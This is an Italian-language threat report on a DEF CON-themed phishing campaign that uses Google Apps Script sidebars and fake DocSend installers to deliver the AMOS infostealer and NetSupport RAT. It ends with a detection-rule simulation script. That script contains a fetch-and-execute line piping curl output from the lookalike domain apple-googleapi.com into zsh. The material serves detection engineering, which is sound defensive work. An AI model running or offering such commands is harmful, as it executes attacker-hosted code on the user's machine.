Phishing a tema DEF CON sfrutta Google Apps Script per la distribuzione di malware

Sommario

Gli attori delle minacce stanno prendendo di mira i partecipanti alle conferenze di cybersecurity attraverso l’ingegneria sociale su X, precedentemente Twitter, per distribuire malware utilizzando Google Docs armati e installatori fraudolenti di DocSend. La campagna consegna l’infostealer AMOS agli utenti macOS, mentre le vittime su Windows ricevono un payload a più stadi che include NetSupport RAT e un impianto per il portafoglio Ledger. L’attacco abusa delle barre laterali di Google Apps Script e dei prompt in stile ClickFix per ridurre i sospetti e attivare l’esecuzione di codice malevolo.

Indagine

I ricercatori di Huntress hanno interagito con l’attore delle minacce mentre si spacciavano per un dirigente di CoinDesk per osservare l’intera catena di attacco. L’indagine ha rivelato un processo sofisticato a più stadi che coinvolge Google Apps Script, installatori falsi firmati con certificati rubati e un proxy locale che intercetta TLS su Windows. I ricercatori hanno anche identificato un secondo stadio che esegue JavaScript in memoria e distribuisce un’autorità di certificazione fraudolenta.

Mitigazione

Gli utenti dovrebbero considerare sospette le richieste inaspettate di eseguire comandi terminali, aggirare Gatekeeper o installare aggiornamenti manuali dalle barre laterali dei documenti. Le organizzazioni dovrebbero monitorare l’attività insolita di Google Apps Script e l’uso non autorizzato di certificati di firma del codice. Controlli robusti sugli endpoint e la verifica indipendente dei link di condivisione dei documenti possono ridurre ulteriormente l’esposizione.

Risposta

Se viene rilevata un’attività malevola, il sistema interessato dovrebbe essere isolato immediatamente per impedire l’esfiltrazione di dati o il movimento laterale. I responsabili devono preservare le prove forensi e considerare il reimaging del dispositivo trattando le credenziali locali e i dati dei portafogli di criptovalute come compromessi. Le sessioni attive devono essere revocate, le password reimpostate e tutte le chiavi API o segreti memorizzati sul sistema ruotati.

## Esecuzione della Simulazione

Prerequisito: Devono essere passati il Controllo Prevolo di Telemetria e Baseline.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.

• Narrazione dell’Attacco & Comandi: L’avversario mira a ottenere l’accesso iniziale a una workstation macOS spacciandosi per un processo di aggiornamento legittimo di Google API. Utilizzano una tattica di ingegneria sociale in cui all’utente viene chiesto di eseguire un comando nel Terminale. Il comando utilizza curl per recuperare un payload da apple-googleapi.com (un dominio di typosquatting/sosia) e trasferisce l’output direttamente in zsh. Questo approccio “living-off-the-land” tenta di minimizzare l’impronta forense sul filesystem eseguendo il codice direttamente dal flusso di rete.

• Script di Test di Regressione:

  #!/bin/bash
  # Script di simulazione per attivare la regola "Esecuzione Potenzialmente Maligna di Script Shell".
  # Nota: Usiamo un URL fittizio che imita la struttura del dominio per evitare chiamate esterne effettive se lo si desidera, 
  # ma per far scattare la regola, la riga di comando DEVE contenere 'apple-googleapi.com'.
  
  echo "[*] Avvio simulazione: Imitazione di una piping shell malevola..."
  
  # Questo comando soddisfa tutte le condizioni: 
  # 1. Il processo è zsh/sh/bash 
  # 2. Contiene 'curl' 
  # 3. Contiene '| zsh' 
  # 4. Contiene 'apple-googleapi.com'
  
  # Usiamo un URL inesistente per impedire l'esecuzione effettiva del payload pur generando la telemetria.
  curl -s http://apple-googleapi.com/update.sh | zsh
  
  echo "[*] Comando di simulazione inviato."

• Comandi di Pulizia:

  # Nessun file viene creato su disco dal comando di attacco stesso,
  # ma se fossero stati generati degli artefatti, dovrebbero essere rimossi.
  rm -f ~/Downloads/update.sh 2>/dev/null
  echo "[*] Pulizia completata."